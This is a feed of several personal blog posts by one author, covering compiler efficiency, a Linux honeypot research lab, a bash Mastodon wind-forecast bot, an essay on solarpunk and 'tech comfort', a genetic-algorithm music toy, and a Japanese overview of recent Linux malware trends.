&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1hwuoj0k1rqzt55b5v57.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1hwuoj0k1rqzt55b5v57.gif" alt="person screaming" width="480" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, what conclusions can we briefly extract from these test?&lt;/p&gt;

&lt;p&gt;Well, if we are using some high-level programming we have to trust in the compilation, if we are using low level (like assembly) you are in control but, as a human, you might not be able to make it more optimized as a good compiler, or in general how the low level details for our compiling choices work.&lt;/p&gt;

&lt;p&gt;You might be asking yourself, does this really matter? In a world where even the smallest processing units are capable of running heavy stuff? In a situation in which we are at the peak of the Moore's law? &lt;/p&gt;

&lt;p&gt;There are several answers to this. As it's amazingly put in &lt;a href="http://worrydream.com/ClimateChange/#funding" rel="noopener noreferrer"&gt;this article&lt;/a&gt; There's an inherent responsibility in caring about even the smallest things as technologist (a word that I like waaay more than engineer, since tech and low-tech is made by several sort of people). They hurry-up ways we've been procuring for years as a society is leveraging the climate issues, so it &lt;strong&gt;does&lt;/strong&gt; make sense to think about this. Don't get me wrong here, I'm not telling you "stop using random compilers and languages!" (also I use python a lot! as well as other languages), what I'm saying is that it might be interesting to take into consideration what we are doing and what are we using to make our tech possible. Maybe explore different options and step over new ideas in different directions. &lt;/p&gt;

&lt;p&gt;There's something about exploring and trying new tech things that makes people excited, and there are certain tech-developers who takes advantage of this wonderful feeling so to create more hurtful tech (for people and for the environment). What I'm saying is take that excitement and use it to explore new ideas, or old ideas from new perspectives so to make everything better! There are so many communities that are in need of these sort of explorations.     &lt;/p&gt;

&lt;p&gt;So, the easy answer it, no, it doesn't really matter in terms of a single or a bunch of binaries calling stuff in a perfectly functional computer. All of the binaries and scripts above worked perfectly and, as an human, I didn't notice anything different among them in the performance. There were some tiny little differences though! which makes me think "how many other things are happening out there with my daily programs that I'm not noticing?" It's not really about efficiency here. It's about understanding a little bit more about what we are doing and how it works.&lt;/p&gt;

</description>
      <category>nasm</category>
      <category>assembly</category>
      <category>linux</category>
    </item>
    <item>
      <title>Linux security LAB Broken Spaceship</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Tue, 24 Oct 2023 08:37:20 +0000</pubDate>
      <link>https://forem.com/terceranexus6/linux-security-lab-broken-spaceship-5ep3</link>
      <guid>https://forem.com/terceranexus6/linux-security-lab-broken-spaceship-5ep3</guid>
      <description>&lt;p&gt;I've been slowly working in my free time in this Linux security sharing platform with a cute mascot and some educational purposes in mind, called &lt;a href="https://brokenspaceship.com/" rel="noopener noreferrer"&gt;Broken Spaceship&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It's a research lab meant to share interesting security facts that find, as well as the IoC (indicators of compromise) from my honeypot. It's run by a free software spirit, so the &lt;a href="https://git.sr.ht/~alienagain/Broken-spaceship" rel="noopener noreferrer"&gt;repo&lt;/a&gt; is there for everyone to take a look. I intend to improve it, but the whole thing is kind of set up. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F22s7alqrfgn7xp0e076m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F22s7alqrfgn7xp0e076m.png" alt="the mascot, astronaut skull, showing their profile" width="669" height="705"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I intend to create a MISP in the future (an alfa version was already tested by some close, technical friends) but for now, apart from the &lt;a href=""&gt;website&lt;/a&gt;, the indicators are shared in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://otx.alienvault.com/user/astronaut_skull/pulses" rel="noopener noreferrer"&gt;OTX Alien Vault&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://t.me/broken_spaceship" rel="noopener noreferrer"&gt;Telegram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://line.me/R/ti/g/cXrELn3Yu6" rel="noopener noreferrer"&gt;LINE&lt;/a&gt; (Japanese)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://misskey.backspace.fm/@astronautskull" rel="noopener noreferrer"&gt;Misskey&lt;/a&gt; (Japanese)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8usuyo8dzkmkq982fr5y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8usuyo8dzkmkq982fr5y.png" alt="illustration of a toy spaceship" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I don't spam! just slowly sharing my passion :)&lt;/p&gt;

&lt;p&gt;I'm spending more time and focus on the &lt;a href="https://brokenspaceship.com/jp" rel="noopener noreferrer"&gt;Japanese version&lt;/a&gt; of the platform, but nevertheless the information is available in English, too.  &lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
    </item>
    <item>
      <title>Creating a simple wind forecast bot in Mastodon</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Fri, 06 Oct 2023 12:28:03 +0000</pubDate>
      <link>https://forem.com/terceranexus6/creating-a-simple-wind-forecast-bot-in-mastodon-i8l</link>
      <guid>https://forem.com/terceranexus6/creating-a-simple-wind-forecast-bot-in-mastodon-i8l</guid>
      <description>&lt;p&gt;I'm keeping a manual log (manual like in pencil and paper) of weather forecast in the mountain I like the most (Sierra Nevada). At some point I got interested in building scripts to help me out and I started sharing that information in Mastodon &lt;a href="https://mastodon.green/@SierraNevada" rel="noopener noreferrer"&gt;using a bot&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsyola2bbpnkzdlws6vqo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsyola2bbpnkzdlws6vqo.png" alt="illustration of Mastodon mascot walking on Sierra Nevada" width="399" height="399"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First of all, a note on Mastodon bots. They are easy to set up! specially using &lt;code&gt;toot&lt;/code&gt; command. I created an account, added the specification that says it's a bot, configured the authorization in &lt;code&gt;toot&lt;/code&gt; and got it running. Once I got there I created a simple weather parser so to be able to toot automatically the weather forecast in Mastodon.&lt;/p&gt;

&lt;p&gt;Then I started to learn about wind and I got interested in getting wind details easily so to note them down. I asked around my community and I got an answer: &lt;a href="https://open-meteo.com" rel="noopener noreferrer"&gt;open-meteo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;While it has it's limitations it worked perfectly for my purpose, a script to help me gather wind details through the day.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx73aod4qvm3jsqbfta1c.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx73aod4qvm3jsqbfta1c.gif" alt="gif of a puppy being hit by the wind" width="272" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First of all I used the interactive API to get the info that I wanted (Sierra Nevada, one day, wind details) into a CSV:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl "https://api.open-meteo.com/v1/forecast?latitude=37.095&amp;amp;longitude=-3.3969&amp;amp;hourly=temperature_2m,windspeed_180m&amp;amp;forecast_days=1&amp;amp;format=csv" &amp;gt; mywindtoday.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then I counted the total lines of the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lines=$(wc -l mywindtoday.csv | cut -d ' ' -f1|tr '\n' ' '
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also I created a variable for the half of the values line, discarding the first description lines (which are 5):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mdline=$((($lines/2)+5))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Between the noon (first line, 00:00) and the half of the file is morning, so I created a variable for morning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mnline=$(( ($mdline/2)+5 ))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And between the half and the end it's evening, so I created another variable for that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eveline=$(( (($lines-$mdline)/2) + $mdline ))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first noon values That I want are hour and wind, so I parse the CSV looking for those values in the key daytimes I estimated before:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;midnight=$(csvcut -c 1,3 mywindtoday.csv | sed '5!d')
midnightdate=${midnight%,*}
midnighthour=${midnightdate#*T}
midnightwind=${midnight#*,}

morning=$(csvcut -c 1,3 mywindtoday.csv | head -n $mnline | tail -1)
morningdate=${morning%,*}
morninghour=${morningdate#*T}
morningwind=${morning#*,}

afternoon=$(csvcut -c 1,3 mywindtoday.csv | head -n $mdline | tail -1)
afternoondate=${afternoon%,*}
afternoonhour=${afternoondate#*T}
afternoonwind=${afternoon#*,}

evening=$(csvcut -c 1,3 mywindtoday.csv | head -n $eveline | tail -1)
evedate=${evening%,*}
evehour=${evedate#*T}
evewind=${evening#*,}

night=$(csvcut -c 1,3 mywindtoday.csv | head -n $lines | tail -1)
ngtdate=${night%,*}
ngthour=${ngtdate#*T}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now all I had to do was save it all into a text document in a readable format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;touch mywindtoot

echo "Detalles del viento en Sierra Nevada" &amp;gt;&amp;gt; mywindtoot
echo "A las $midnighthour de hoy,  $midnightwind k/h" &amp;gt;&amp;gt; mywindtoot
echo "A las $morninghour de hoy,  $morningwind k/h" &amp;gt;&amp;gt; mywindtoot
echo "A las $afternoonhour de hoy,  $afternoonwind k/h"&amp;gt;&amp;gt; mywindtoot
echo "A las $evehour de hoy, $evewind k/h"&amp;gt;&amp;gt; mywindtoot
echo "A las $ngthour de hoy, $ngtwind k/h"&amp;gt;&amp;gt; mywindtoot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And, if I wanted to toot it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;toot post "$(cat mywindtoot)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or if I just wanted to read it in the terminal, I just &lt;code&gt;cat&lt;/code&gt; it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Detalles del viento en Sierra Nevada
A las 00:00 de hoy,  15.8 k/h
A las 09:00 de hoy,  8.0 k/h
A las 14:00 de hoy,  19.5 k/h
A las 18:00 de hoy, 2.2 k/h
A las 23:00 de hoy, 14.1 k/h

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally a little clean up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rm mywindtoot
rm mywindtoday
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And that's it! &lt;a href="https://mastodon.green/@SierraNevada/111187890324269047" rel="noopener noreferrer"&gt;My first test using it in Mastodon&lt;/a&gt; worked just fine. You can check the whole code &lt;a href="https://git.sr.ht/~alienagain/SierraNevada/tree/master/item/src/wind.sh" rel="noopener noreferrer"&gt;here&lt;/a&gt;. Why don't you try to build something similar for your city? Maybe share with your neighborhood.&lt;/p&gt;

</description>
      <category>bash</category>
      <category>mastodon</category>
      <category>weather</category>
      <category>scripting</category>
    </item>
    <item>
      <title>Tech Comfort</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Thu, 05 Oct 2023 18:01:11 +0000</pubDate>
      <link>https://forem.com/terceranexus6/tech-comfort-3pga</link>
      <guid>https://forem.com/terceranexus6/tech-comfort-3pga</guid>
      <description>&lt;p&gt;The first time I realized about the "&lt;em&gt;tech comfort&lt;/em&gt;" thing was the time I was given a Linux and a reason for being given a Linux.&lt;/p&gt;

&lt;p&gt;But let me explain.&lt;/p&gt;

&lt;p&gt;Science Fiction inspires a lot of scientists and developers into building and feeling comfort with technology. At some point I believe what we watched and read sometimes guided us into feeling that way or another towards technology. &lt;/p&gt;

&lt;p&gt;I think a lot about this when I see some tech over there and I ask myself "&lt;em&gt;but why?&lt;/em&gt;" and sometimes the answer is that it's flashy and we are facing a lot of uncomfortable things in our daily life, things that escape our reach, and we just want to feel comfort in those flashy techie things, since it reminds us of fun "&lt;em&gt;sci-fi&lt;/em&gt;". &lt;/p&gt;

&lt;p&gt;There was a huge life-changing moment in my life when I started reading Ursula's K Le Guin. Until then, as a sci-fi lover I was excusing tons of things that I saw that were uncomfortable, trading them with the joy that the rest of the story would bring me. ut then I found a spot of sense, complexity and human rights blended with scifi I didn't quite encounter before in the same way. It was a very similar comfort I found when I saw "Princess Mononoke" or "Nausicaä", and it wasn't until very recently (few years) that I found out about the concept of solarpunk.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcrkvwt2ivjfc6uclgnfu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcrkvwt2ivjfc6uclgnfu.png" alt="Image description" width="800" height="545"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Going back to tech, which is our deal over here, I studied an expertise in electronics back there in the computer engineering grade. I must say my whole interest in programming and computing when I was a kid was towards androids and replicants and the concept of machines thinking by themselves, but at some point I just lost interest of that because I discovered things like digital rights, repairing and building things from other things. Electronics felt like crafting, and I just got into it. By that time I started working as a programmer and got in contact with classmates and coworkers who enjoyed programming and tech just because. I think a lot of us can relate. Yet at that time I felt "something's not right".&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;My first question before continuing with this article is, have you felt like that as well? have you felt that tiny little "this is not quite right but I don't know why" feeling?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Anyway, while I started working in a complete different field, I enjoyed using my electronics knowledge in stories. I've been writing scifi since I was a teenager, and I still do. At some point I just needed to feel the same comfort I found in solarpunk works, so I started writing and thinking towards that. I thought "hey this is not that impossible tbh", and I started asking around my community about it, and &lt;a href="https://sr.ht/~alienagain/relatos-56k/" rel="noopener noreferrer"&gt;some people showed their writings&lt;/a&gt;, too. I discovered then some other persons are trying to &lt;strong&gt;live&lt;/strong&gt; like that, and then I got towards minimal computing and toning down tech. At this point I was questioning myself, "how much of this makes sense in our daily life?" and it's been a really complex question that I'm still working towards to. Until now all I got clear was the fact that it makes sense to keep the "this is not right" feeling alive, as a way of pinching myself to look for -general- comfort on tech.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What is comfort for a person growing up in a climate crisis?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I discovered, after reading other people ideas, and spending times wondering on my own that this sort of tech makes sense only if the community and the society it evolves think towards the values of co-work, empathy and constant reviewing. This is not an original idea at all. Susan Leigh Star and other of her colleagues in the field of sociology towards information in modern society came to the conclusion that there are many invisible elements in society that are critically needed to make everything works the way it works, and understanding how some of those elements work together (even if they don't even know themselves) it's the way of changing unfair or uncomfortable actions (she for example researched feminism in those terms). Feeling of comfort are just feelings, but a community of people caring for each other comforts makes a lot more tangible sense. Therefore, sustainable technology only makes sense in a sustainable context: using solar power panels to partially fuel a massive data center that requites tons and tons of clean water in a country under drought doesn't makes sense, but when you only see the solar panel thing, it maybe looks like it does, because as a developer or as an user, you might relate it with a fast response in a platform. Depending on your values maybe even the water thing, because what could we do about it?&lt;/p&gt;

&lt;p&gt;I recently worked -slowly- towards the goal of reading off-line. Turns out I'm the "I need to check this a lot of times" kind of person, and every time we click and load a site (and even more nowadays) we are asking for adverts, data collecting, statistics and more. Apart from the fact that this makes me uncomfortable it takes a really long time, while if downloading it once, I can check it whenever I need. It seems awfully obvious but I got in the "everything is online all the time" train and I forgot about that, until I read about &lt;a href="//100r.co"&gt;a couple of persons&lt;/a&gt; who live in a boat and needed to download texts a lot so to be able to read or enjoy those, because Internet doesn't always work. I'm absolutely not in that situation but I'd hate to feel anxious about not having Internet connection, or not being able to access to critical info if somehow I lost my Internet connection, so I've been slowly working towards this. Would you feel anxious if you didn't have Internet for a long while?&lt;/p&gt;

&lt;p&gt;Anyway, I found a really interesting project called "&lt;a href="https://geminiprotocol.net/" rel="noopener noreferrer"&gt;Gemini protocol&lt;/a&gt;" that is thought and built with these sort of questions in mind. All about using simple, straightforward resources and linking images or media instead. There are many ways of browsing the contents, my favorite is &lt;a href="https://github.com/makew0rld/amfora" rel="noopener noreferrer"&gt;amfora&lt;/a&gt;, a in-terminal application, but there are others.&lt;/p&gt;

&lt;p&gt;What I want to say is that tech is a tool, a method to reach and build something else, and what we make with it is a statement. I've learnt about it through the Free Software community, but somehow I think it's more than just sharing and explaining, it's about thinking what we've built and, maybe, start over at some point (even if it looks like stepping backwards in terms of "productivity") since it might be the key of building a more comfortable way of understanding and interacting with technology, the type of comfort that has to be thought slowly, in community, sometimes offline.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;When someone points out the new techie trend is not sustainable, what do you think? do you think "party killer"? if so, how attached are you to that tech?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I usually confront this feeling, as a techie person myself. But I'm also given that answer when I try to justify changes in Free software communities for supporting feminism and sustainability, moving the focus to the context of people instead of tech (though I must say most of the people are wonderful and regardless if they agree or not they try to discuss in a friendly open way). I love programming, I love trying new things, I love confronting technical challenges, yet I don't want those feelings to get the shape of productivity and tech-empowerment above everything else. I somehow want to spend a lot of time, sometimes months thinking about the shape of digital elements in life.&lt;/p&gt;

&lt;p&gt;In a story I'm writing, the main character (a researcher in a moon with an extreme weather) is meant to do a scientific research. Somehow I imagined a cranky computer, e-paper screen, with a sliding keyboard that she sort of release from the wall, in which she uses an IRC and a repo to talk to her peers. She uses some sand and solar batteries to make that and the electronics for the research work. This made me feel happy, as weird as it sounds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feemogg7qpgakbafhcs5p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feemogg7qpgakbafhcs5p.png" alt="illustration of a girl typing a cranky computer in a room with a window that seems to have a couple of suns" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In another story that I wrote, the main character is a weather analyst, what is called "Clouds" in a future Al-Andalus shaped society (the past society that used to live where I was born), and people are used to download off-line maps and text from local docks in libraries and trains. And this made me happy, again as weird as it sounds. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb5zczl9rb59ofzcgtt0x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb5zczl9rb59ofzcgtt0x.png" alt="A person is sleeping over a table, with an e-reader connected to a -what it seems- usb port" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But what I feel is or not "happy tech" is not important, actually.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What sort of technology makes &lt;strong&gt;you&lt;/strong&gt; happy? Have you ever stopped to think why? &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Maybe spending some time asking yourself that is nice, there's no rush really. Sometimes social media makes us think there's rush. On that, on everything; There isn't. &lt;/p&gt;

&lt;p&gt;But it might be an interesting exercise, so to understand why are we doing what we are doing. Our digital actions, as users or as developers, have consequences. Are we having a choice upon those actions? Should we be having more?&lt;/p&gt;

</description>
      <category>opinion</category>
      <category>tech</category>
      <category>solarpunk</category>
    </item>
    <item>
      <title>TinEAR, using GA for music inspiration</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Thu, 28 Sep 2023 10:32:25 +0000</pubDate>
      <link>https://forem.com/terceranexus6/tinear-for-using-ga-for-music-inspiration-327k</link>
      <guid>https://forem.com/terceranexus6/tinear-for-using-ga-for-music-inspiration-327k</guid>
      <description>&lt;p&gt;I'm very interested in art experimentation as well as tech and sustainability. I recently participated in a live programming workshop meant for music creation. One of the guys conducting the workshop mentioned the fact of slight imperfections (usually not noticeable by the human regular ear) of human artists against programmed music. Somehow this made me think of how some imperfections lead to more interesting works than the one that was previously attempted. How could I work around a terminal toy that was "imperfect" in its attempts to play music?&lt;/p&gt;

&lt;p&gt;I'm very interested in sustainability and de-escalating tech resources, so I refused to work towards AI, but I thought of working with GA. The idea is for the toy to attempt to reach a collection of notes, each attempt more close, but not quite until it reaches the correct ones.&lt;/p&gt;

&lt;p&gt;In order to do &lt;a href="https://git.sr.ht/~alienagain/TinEar" rel="noopener noreferrer"&gt;this&lt;/a&gt; I chose python3 and a very simple GA structure, the same that would try to guess a word. &lt;/p&gt;

&lt;p&gt;This is an example usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 tinear.py
TARGET: AABC
MAXIMUN GENERATIONS ALLOWED: 7

Generation: 1   String: AACC    Fitness: 1
Generation: 2   String: AABC    Fitness: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case it was lucky and guessed the right one the second time (generation 2). In order to play music directly from the terminal, I use &lt;code&gt;os.system&lt;/code&gt; defining a command with variable chords (the ones asked to the user at the execution) and &lt;code&gt;play -n synth pl&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The result is that each guess, the terminal plays the attempting tune, making it fun when doing some live coding jams.&lt;/p&gt;

&lt;p&gt;I mixed the tinear attempts with some synthesizer tunes using teenage engineering devices and created some imperfect, yet fun music! You can find the script &lt;a href="https://git.sr.ht/~alienagain/TinEar/tree/master/item/src/tinear.py" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>geneticalgorithms</category>
      <category>ga</category>
      <category>music</category>
      <category>art</category>
    </item>
    <item>
      <title>Hello back! Sharing some projects</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Wed, 27 Sep 2023 13:34:53 +0000</pubDate>
      <link>https://forem.com/terceranexus6/hello-back-sharing-some-projects-2h2i</link>
      <guid>https://forem.com/terceranexus6/hello-back-sharing-some-projects-2h2i</guid>
      <description>&lt;p&gt;もっと日本語ともっとCYBERSECURITYを勉強だから数年前にここに書くのをやめましたいま私は現在6年のサイバー脅威の専門家です日本へいきましたそれから私の日本語と私の実務経験は前回よりも優れています&lt;/p&gt;

&lt;p&gt;新しいプロジェクトに向けて取り組んでいます! &lt;br&gt;
それを共有したい&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ib9zc2ljxojm88b0hcs.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ib9zc2ljxojm88b0hcs.jpeg" alt="Small penguin cutely walking on the ice" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  LINUXのサイバー脅威の最先端の研究
&lt;/h2&gt;

&lt;p&gt;私はLINUXのサイバー脅威について1年間研究しました。そのために初めCOWRIEのHONEYPOTを使用しました。。。&lt;a href="https://git.sr.ht/~alienagain/honeypot_notes" rel="noopener noreferrer"&gt;このリンク&lt;/a&gt;はそののリポジトリです &lt;br&gt;
私は3つのイベントにその研究をみせって (スペイン語と英語です)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://otx.alienvault.com/user/astronaut_skull/pulses" rel="noopener noreferrer"&gt;AlienVaultで結果を公開しました&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftfywgbh850z0cdoa86db.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftfywgbh850z0cdoa86db.png" alt="screenshot of alienvault site" width="800" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2022年にcryptominersは人気になりましたでも2023年にstealersはcryptominersより人気になりました&lt;br&gt;
また、Malware複雑になりました&lt;/p&gt;

&lt;p&gt;例えばここにいくつかの最近見たのTTPがあります&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Command&amp;amp;Controlとして使われたTelegramのbots (&lt;a href="https://attack.mitre.org/techniques/T1102/002/" rel="noopener noreferrer"&gt;T1102.002 MITRE&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;2FAのポケんンを窃盗 --- SMS例えば (&lt;a href="https://attack.mitre.org/techniques/T1111" rel="noopener noreferrer"&gt;T11111 MITRE&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Anti-VM (VMを回避) (&lt;a href="https://attack.mitre.org/techniques/T1497" rel="noopener noreferrer"&gt;T1497 MITRE&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;それでわ最近のキャンペーンは Ransomware (Cyclops, Conti), Stealers (The White Snake), toolkits (Reptile) とその他など&lt;/p&gt;

&lt;h2&gt;
  
  
  STEALERS
&lt;/h2&gt;

&lt;p&gt;WindowsとLinuxとMacOSのStealersは人気が出てきています&lt;br&gt;
一部のRansomwareもう暗号化を使用していませんそれはDataを盗むだけです&lt;/p&gt;

&lt;p&gt;いま一部の人気のStealersはMeduzaとRacoonとRedlineとBanditとNodeStealerとVidar&lt;br&gt;
&lt;a href="https://any.run/malware-trends/" rel="noopener noreferrer"&gt;ここで&lt;/a&gt;部分的に見ることができます。例えばその統計は&lt;a href="https://any.run/malware-trends/redline" rel="noopener noreferrer"&gt;Redlineの量&lt;/a&gt;が増えていますと書いてある&lt;/p&gt;

